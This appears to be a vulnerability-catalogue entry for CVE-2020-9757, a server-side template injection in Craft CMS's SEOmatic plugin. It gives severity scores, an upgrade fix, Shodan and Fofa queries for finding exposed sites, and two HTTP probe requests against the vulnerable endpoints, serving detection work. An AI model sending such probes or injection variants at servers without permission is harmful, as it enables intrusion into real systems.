| Title | Craft CMS < 3.3.0 - Server-Side Template Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the server. |
| Remediation | Upgrade Craft CMS to version 3.3.0 or higher to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94276 |
| CVE ID | CVE-2020-9757 |
| CWE ID | CWE-74 |
| Shodan Query | cpe:"cpe:2.3:a:craftcms:craft_cms"http.html:craftcmshttp.favicon.hash:-47932290 |
| Fofa Query | icon_hash=-47932290body=craftcms |
| Tags | cve cve2020 ssti craftcms vkev vuln |
Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.
GET /actions/seomatic/meta-container/meta-link-container/?uri=Invx0F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /actions/seomatic/meta-container/all-meta-containers?uri=Invx0F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9757.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9757.pcap
N/AN/A